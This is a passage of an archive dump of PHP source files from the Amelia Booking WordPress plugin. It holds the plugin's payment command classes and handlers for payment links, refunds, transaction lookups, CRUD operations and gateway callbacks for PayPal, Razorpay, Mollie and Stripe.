AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\Payment\PaymentGateway; use AmeliaBooking\Domain\Services\Booking\AppointmentDomainService; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Payment\PaymentServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\Name; use AmeliaBooking\Domain\ValueObjects\String\PaymentStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Services\Payment\MollieService; use AmeliaBooking\Infrastructure\Services\Payment\PayPalService; use AmeliaBooking\Infrastructure\Services\Payment\RazorpayService; use AmeliaBooking\Infrastructure\WP\Translations\FrontendStrings; use AmeliaPHPMailer\PHPMailer\Exception; /** * Class PaymentLinkCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class PaymentLinkCommandHandler extends CommandHandler { /** * @param PaymentLinkCommand $command * * @return CommandResult * @throws \AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException */ public function handle(PaymentLinkCommand $command) { $result = new CommandResult(); /** @var PaymentApplicationService $paymentApplicationService */ $paymentApplicationService = $this->container->get('application.payment.service'); $data = $command->getField('data'); if ($data['data']['type'] === 'appointment') { $data['data']['bookable'] = $data['data']['service']; } else { $data['data']['bookable'] = $data['data']; } $paymentLinks = $paymentApplicationService->createPaymentLink($data['data'], 0, null, [$data['paymentMethod'] => true]); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage(!empty(array_values($paymentLinks)[0]['link']) ? 'Successfully created link' : array_values($paymentLinks)[1]); $result->setData( [ 'paymentLink' => array_values($paymentLinks)[0], 'error' => array_values($paymentLinks)[1] ] ); return $result; } } Commands/Payment/CalculatePaymentAmountCommandHandler.php 0000666 00000004675 15165412624 0017675 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Booking\BookingApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class CalculatePaymentAmountCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class CalculatePaymentAmountCommandHandler extends CommandHandler { /** * @param CalculatePaymentAmountCommand $command * * @return CommandResult * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws ContainerException * @throws Exception */ public function handle(CalculatePaymentAmountCommand $command) { $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get($command->getField('type')); /** @var BookingApplicationService $bookingAS */ $bookingAS = $this->container->get('application.booking.booking.service'); $reservation = $reservationService->getNew(true, true, true); $reservationService->processBooking( $result, $bookingAS->getAppointmentData($command->getFields()), $reservation, false ); $paymentAmount = $reservationService->getReservationPaymentAmount($reservation); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setData( [ 'amount' => $paymentAmount, 'currency' => $settingsService->getCategorySettings('payments')['currency'], ] ); return $result; } } Commands/Payment/GetPaymentCommand.php 0000666 00000000546 15165412624 0014026 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class GetPaymentCommand * * @package AmeliaBooking\Application\Commands\Payment */ class GetPaymentCommand extends Command { } Commands/Payment/DeletePaymentCommandHandler.php 0000666 00000005132 15165412624 0016003 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use Interop\Container\Exception\ContainerException; /** * Class DeletePaymentCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class DeletePaymentCommandHandler extends CommandHandler { /** * @param DeletePaymentCommand $command * * @return CommandResult * @throws QueryExecutionException * @throws InvalidArgumentException * @throws NotFoundException * @throws AccessDeniedException * @throws ContainerException */ public function handle(DeletePaymentCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanDelete(Entities::FINANCE)) { throw new AccessDeniedException('You are not allowed to delete payments.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var Payment $payment */ $payment = $paymentRepository->getById($command->getArg('id')); $paymentRepository->beginTransaction(); if (!$paymentAS->delete($payment)) { $paymentRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Unable to delete payment.'); return $result; } $paymentRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Payment successfully deleted.'); $result->setData( [ Entities::PAYMENT => $payment->toArray() ] ); return $result; } } Commands/Payment/GetTransactionAmountCommandHandler.php 0000666 00000007117 15165412624 0017361 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Factory\Payment\PaymentFactory; use AmeliaBooking\Domain\Services\Payment\PaymentServiceInterface; use AmeliaBooking\Domain\ValueObjects\Number\Float\Price; use AmeliaBooking\Domain\ValueObjects\String\PaymentType; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Services\Payment\CurrencyService; use AmeliaBooking\Infrastructure\Services\Payment\MollieService; use AmeliaBooking\Infrastructure\WP\Integrations\WooCommerce\WooCommerceService; /** * Class GetTransactionAmountCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class GetTransactionAmountCommandHandler extends CommandHandler { /** * @param GetTransactionAmountCommand $command * * @return CommandResult * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException */ public function handle(GetTransactionAmountCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::FINANCE)) { throw new AccessDeniedException('You are not allowed to read payment.'); } $result = new CommandResult(); $paymentId = $command->getArg('id'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var CurrencyService $currencyService */ $currencyService = $this->container->get('infrastructure.payment.currency.service'); $payment = $paymentRepository->getById($paymentId); if (empty($payment->getTransactionId()) && empty($payment->getWcOrderId())) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Payment has no transaction id'); $result->setData( [ Entities::PAYMENT => $payment->toArray(), ] ); return $result; } if ($payment->getGateway()->getName()->getValue() === PaymentType::WC && $payment->getWcOrderId()) { $amount = WooCommerceService::getOrderAmount($payment->getWcOrderId()->getValue()); } else { /** @var PaymentServiceInterface $paymentService */ $paymentService = $this->container->get('infrastructure.payment.' . $payment->getGateway()->getName()->getValue() . '.service'); $amount = $paymentService->getTransactionAmount($payment->getTransactionId()); switch ($payment->getGateway()->getName()->getValue()) { case PaymentType::STRIPE: $amount = $amount/100; break; } } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Retrieved transaction successfully.'); $result->setData( [ Entities::PAYMENT => $payment->toArray(), 'transactionAmount' => $amount ] ); return $result; } } Commands/Payment/PaymentCallbackCommandHandler.php 0000666 00000023764 15165412624 0016310 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\PaymentGateway; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Payment\PaymentServiceInterface; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\Name; use AmeliaBooking\Domain\ValueObjects\String\PaymentStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\WP\EventListeners\Booking\Appointment\BookingAddedEventHandler; use Interop\Container\Exception\ContainerException; /** * Class PaymentCallbackCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class PaymentCallbackCommandHandler extends CommandHandler { /** * @param PaymentCallbackCommand $command * * @return CommandResult * @throws \AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException */ public function handle(PaymentCallbackCommand $command) { $result = new CommandResult(); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var SettingsService $settingsDS */ $settingsDS = $this->container->get('domain.settings.service'); /** @var AppointmentApplicationService $appointmentAS */ $appointmentAS = $this->container->get('application.booking.appointment.service'); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); $paymentId = $command->getField('paymentAmeliaId'); $gateway = $command->getField('paymentMethod'); if ($paymentId) { $payment = $paymentRepository->getById($paymentId); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get( $payment->getEntity()->getValue() ); $reservation = $reservationService->getReservationByPayment($payment, true); $data = $reservation->getData(); $bookableSettings = $data['bookable']['settings']; $entitySettings = !empty($bookableSettings) && json_decode($bookableSettings, true) ? json_decode($bookableSettings, true) : null; $paymentLinksSettings = !empty($entitySettings) && !empty($entitySettings['payments']['paymentLinks']) ? $entitySettings['payments']['paymentLinks'] : null; $redirectUrl = $paymentLinksSettings && $paymentLinksSettings['redirectUrl'] ? $paymentLinksSettings['redirectUrl'] : $settingsDS->getSetting('payments', 'paymentLinks')['redirectUrl']; $redirectLink = empty($redirectUrl) ? AMELIA_SITE_URL : $redirectUrl; $customerPanelUrl = $settingsDS->getSetting('roles', 'customerCabinet')['pageUrl']; $redirectLink = !empty($command->getField('fromPanel')) ? $customerPanelUrl : $redirectLink; $changeBookingStatus = $paymentLinksSettings && $paymentLinksSettings['changeBookingStatus'] !== null ? $paymentLinksSettings['changeBookingStatus'] : $settingsDS->getSetting('payments', 'paymentLinks')['changeBookingStatus']; $transactionId = null; $paymentRepository->beginTransaction(); try { $status = PaymentStatus::PAID; if ($gateway) { /** @var PaymentServiceInterface $paymentService */ $paymentService = $this->container->get('infrastructure.payment.'. $gateway .'.service'); switch ($gateway) { case 'razorpay': $attributes = array( 'razorpay_payment_link_id' => $command->getField('razorpay_payment_link_id'), 'razorpay_payment_id' => $command->getField('razorpay_payment_id'), 'razorpay_payment_link_reference_id' => $command->getField('razorpay_payment_link_reference_id'), 'razorpay_payment_link_status' => $command->getField('razorpay_payment_link_status'), 'razorpay_signature' => $command->getField('razorpay_signature'), ); $paymentService->verify($attributes); $transactionId = $attributes['razorpay_payment_id']; break; case ('payPal'): $response = $paymentService->complete( [ 'transactionReference' => $command->getField('paymentId'), 'PayerID' => $command->getField('PayerID'), 'amount' => $command->getField('chargedAmount'), ] ); if (!$response->isSuccessful() || $command->getField('payPalStatus') === 'canceled') { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage(''); $result->setData([]); $result->setUrl($redirectLink . '&status=canceled'); return $result; } $transactionId = $response->getData()['id']; break; case 'mollie': $response = $paymentService->fetchPaymentLink( $command->getField('id') ); $status = !empty($response['paidAt']) ? 'paid' : null; $transactionId = $command->getField('id'); break; case 'stripe': $sessionId = $command->getField('session_id'); if ($sessionId) { $paymentIntentId = $paymentService->getPaymentIntent($sessionId); if ($paymentIntentId) { $transactionId = $paymentIntentId; } } break; } if ($status === 'paid') { $amount = $command->getField('chargedAmount'); if ($payment->getStatus()->getValue() !== PaymentStatus::PENDING) { $payment->setStatus(new PaymentStatus(PaymentStatus::PAID)); $payment->setGateway(new PaymentGateway(new Name($gateway))); if ($transactionId) { $payment->setTransactionId($transactionId); } $linkPayment = $paymentAS->insertPaymentFromLink($payment->toArray(), $amount, $payment->getEntity()->getValue()); $paymentId = $linkPayment->getId()->getValue(); } else { $paymentRepository->updateFieldById($paymentId, $amount, 'amount'); $paymentRepository->updateFieldById($paymentId, $gateway, 'gateway'); $paymentRepository->updateFieldById($paymentId, $status, 'status'); $paymentRepository->updateFieldById($paymentId, $transactionId, 'transactionId'); $paymentRepository->updateFieldById($paymentId, DateTimeService::getNowDateTimeObjectInUtc()->format('Y-m-d H:i:s'), 'dateTime'); } if ($payment->getEntity()->getValue() === Entities::APPOINTMENT) { if ($changeBookingStatus && $data['booking']['status'] !== BookingStatus::APPROVED) { $appointmentAS->updateBookingStatus($paymentId); BookingAddedEventHandler::handle( $reservationService->getReservationByPayment($payment, true), $this->container ); } } } } } catch (QueryExecutionException $e) { $paymentRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage($e->getMessage()); return $result; } catch (ContainerException $e) { $paymentRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage($e->getMessage()); return $result; } catch (\Exception $e) { $paymentRepository->rollback(); $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage($e->getMessage()); return $result; } } $paymentRepository->commit(); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage(''); $result->setData([]); if ($gateway !== 'mollie') { $result->setUrl($redirectLink); } return $result; } } Commands/Payment/CalculatePaymentAmountCommand.php 0000666 00000000576 15165412624 0016373 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class CalculatePaymentAmountCommand * * @package AmeliaBooking\Application\Commands\Payment */ class CalculatePaymentAmountCommand extends Command { } Commands/Payment/GetPaymentCommandHandler.php 0000666 00000004300 15165412624 0015314 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; /** * Class GetPaymentCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class GetPaymentCommandHandler extends CommandHandler { /** * @param GetPaymentCommand $command * * @return CommandResult * @throws QueryExecutionException * @throws NotFoundException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException */ public function handle(GetPaymentCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::FINANCE)) { throw new AccessDeniedException('You are not allowed to read payment.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); $payment = $paymentRepository->getById($command->getArg('id')); if (!$payment instanceof Payment) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Could not get payment payment.'); return $result; } $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved payment.'); $result->setData( [ Entities::PAYMENT => $payment->toArray(), ] ); return $result; } } Commands/Payment/GetPaymentsCommand.php 0000666 00000000550 15165412624 0014204 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class GetPaymentsCommand * * @package AmeliaBooking\Application\Commands\Payment */ class GetPaymentsCommand extends Command { } Commands/Payment/GetTransactionAmountCommand.php 0000666 00000000572 15165412624 0016061 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class GetTransactionAmountCommand * * @package AmeliaBooking\Application\Commands\Payment */ class GetTransactionAmountCommand extends Command { } Commands/Payment/RefundPaymentCommand.php 0000666 00000000554 15165412624 0014531 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class RefundPaymentCommand * * @package AmeliaBooking\Application\Commands\Payment */ class RefundPaymentCommand extends Command { } Commands/Payment/PaymentCallbackCommand.php 0000666 00000000403 15165412624 0014773 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class PaymentCallbackCommand * * @package AmeliaBooking\Application\Commands\Payment */ class PaymentCallbackCommand extends Command { } Commands/Payment/PaymentLinkCommand.php 0000666 00000000373 15165412624 0014202 0 ustar 00 <?php namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class PaymentLinkCommand * * @package AmeliaBooking\Application\Commands\Payment */ class PaymentLinkCommand extends Command { } Commands/Payment/GetPaymentsCommandHandler.php 0000666 00000005272 15165412624 0015510 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; /** * Class GetPaymentsCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class GetPaymentsCommandHandler extends CommandHandler { /** * @param GetPaymentsCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException */ public function handle(GetPaymentsCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanRead(Entities::FINANCE)) { throw new AccessDeniedException('You are not allowed to read payments.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); $params = $command->getField('params'); if ($params['dates']) { $params['dates'][0] .= ' 00:00:00'; $params['dates'][1] .= ' 23:59:59'; } $paymentsData = $paymentAS->getPaymentsData($params, $settingsService->getSetting('general', 'itemsPerPage')); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Successfully retrieved payments.'); $result->setData( [ Entities::PAYMENTS => array_values($paymentsData), 'filteredCount' => (int)$paymentRepository->getCount($params), 'totalCount' => (int)$paymentRepository->getCount([]), ] ); return $result; } } Commands/Payment/AddPaymentCommand.php 0000666 00000000546 15165412624 0013777 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class AddPaymentCommand * * @package AmeliaBooking\Application\Commands\Payment */ class AddPaymentCommand extends Command { } Commands/Payment/AddPaymentCommandHandler.php 0000666 00000004433 15165412624 0015274 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Factory\Payment\PaymentFactory; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; /** * Class AddPaymentCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class AddPaymentCommandHandler extends CommandHandler { /** @var array */ public $mandatoryFields = []; /** * @param AddPaymentCommand $command * * @return CommandResult * @throws InvalidArgumentException * @throws QueryExecutionException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException */ public function handle(AddPaymentCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::FINANCE)) { throw new AccessDeniedException('You are not allowed to add new payment.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); $payment = PaymentFactory::create($command->getFields()); if (!$payment instanceof Payment) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Unable to create payment.'); return $result; } /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); if ($paymentRepository->add($payment)) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('New payment successfully created.'); $result->setData( [ Entities::PAYMENT => $payment->toArray(), ] ); } return $result; } } Commands/Payment/UpdatePaymentCommandHandler.php 0000666 00000004504 15165412624 0016025 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Factory\Payment\PaymentFactory; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; /** * Class UpdatePaymentCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class UpdatePaymentCommandHandler extends CommandHandler { /** * @param UpdatePaymentCommand $command * * @return CommandResult * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException * @throws \Interop\Container\Exception\ContainerException */ public function handle(UpdatePaymentCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::FINANCE)) { throw new AccessDeniedException('You are not allowed to update payment.'); } $result = new CommandResult(); $this->checkMandatoryFields($command); $payment = PaymentFactory::create($command->getFields()); if (!$payment instanceof Payment) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Unable to update payment.'); return $result; } /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); if ($paymentRepository->update($command->getArg('id'), $payment)) { $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Payment successfully updated.'); $result->setData( [ Entities::PAYMENT => $payment->toArray(), ] ); } return $result; } } Commands/Payment/UpdatePaymentCommand.php 0000666 00000000554 15165412624 0014530 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class UpdatePaymentCommand * * @package AmeliaBooking\Application\Commands\Payment */ class UpdatePaymentCommand extends Command { } Commands/Payment/RefundPaymentCommandHandler.php 0000666 00000011337 15165412624 0016030 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\CommandHandler; use AmeliaBooking\Application\Commands\CommandResult; use AmeliaBooking\Application\Common\Exceptions\AccessDeniedException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Factory\Payment\PaymentFactory; use AmeliaBooking\Domain\Services\Payment\PaymentServiceInterface; use AmeliaBooking\Domain\ValueObjects\Number\Float\Price; use AmeliaBooking\Domain\ValueObjects\String\PaymentType; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Services\Payment\CurrencyService; use AmeliaBooking\Infrastructure\Services\Payment\MollieService; use AmeliaBooking\Infrastructure\WP\Integrations\WooCommerce\WooCommerceService; /** * Class RefundPaymentCommandHandler * * @package AmeliaBooking\Application\Commands\Payment */ class RefundPaymentCommandHandler extends CommandHandler { /** * @param RefundPaymentCommand $command * * @return CommandResult * @throws QueryExecutionException * @throws InvalidArgumentException * @throws AccessDeniedException */ public function handle(RefundPaymentCommand $command) { if (!$this->getContainer()->getPermissionsService()->currentUserCanWrite(Entities::FINANCE)) { throw new AccessDeniedException('You are not allowed to update payment.'); } $result = new CommandResult(); $paymentId = $command->getArg('id'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var CurrencyService $currencyService */ $currencyService = $this->container->get('infrastructure.payment.currency.service'); $payment = $paymentRepository->getById($paymentId); $relatedPayments = []; if ($payment->getAmount()->getValue() === 0 || $payment->getGateway()->getName()->getValue() === PaymentType::ON_SITE || $payment->getStatus()->getValue() === 'refunded') { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage('Payment object can not be refunded'); $result->setData( [ Entities::PAYMENT => $payment->toArray(), ] ); return $result; } $amount = $payment->getAmount()->getValue(); $relatedPayments = $paymentRepository->getRelatedPayments($payment); if ($payment->getGateway()->getName()->getValue() === PaymentType::WC) { $response = WooCommerceService::refund($payment->getWcOrderId()->getValue(), $amount); } else { /** @var PaymentServiceInterface $paymentService */ $paymentService = $this->container->get('infrastructure.payment.' . $payment->getGateway()->getName()->getValue() . '.service'); foreach ($relatedPayments as $relatedPayment) { $amount += $relatedPayment['amount']; } switch ($payment->getGateway()->getName()->getValue()) { case PaymentType::STRIPE: $amount = $currencyService->getAmountInFractionalUnit(new Price($amount)); break; case PaymentType::RAZORPAY: $amount = intval($amount * 100); break; } $response = $paymentService->refund(['id' => $payment->getTransactionId(), 'amount' => $amount]); } if (!empty($response['error'])) { $result->setResult(CommandResult::RESULT_ERROR); $result->setMessage($response['error']); $result->setData( [ Entities::PAYMENT => $payment->toArray(), 'response' => $response ] ); return $result; } $paymentRepository->updateFieldByIds( !empty($relatedPayments) ? array_merge([$payment->getId()->getValue()], array_column($relatedPayments, 'id')) : [$payment->getId()->getValue()], 'status', 'refunded' ); $result->setResult(CommandResult::RESULT_SUCCESS); $result->setMessage('Payment successfully refunded.'); $result->setData( [ Entities::PAYMENT => $payment->toArray(), 'response' => $response ] ); return $result; } } Commands/Payment/DeletePaymentCommand.php 0000666 00000000554 15165412624 0014510 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Commands\Payment; use AmeliaBooking\Application\Commands\Command; /** * Class DeletePaymentCommand * * @package AmeliaBooking\Application\Commands\Payment */ class DeletePaymentCommand extends Command { } Controller/Settings/GetSettingsController.php 0000666 00000001343 15165412624 0015517 0 ustar 00 <?php namespace AmeliaBooking\Application\Controller\Settings; use AmeliaBooking\Application\Commands\Settings\GetSettingsCommand; use AmeliaBooking\Application\Controller\Controller; use Slim\Http\Request; /** * Class GetSettingsController * * @package AmeliaBooking\Application\Controller\Settings */ class 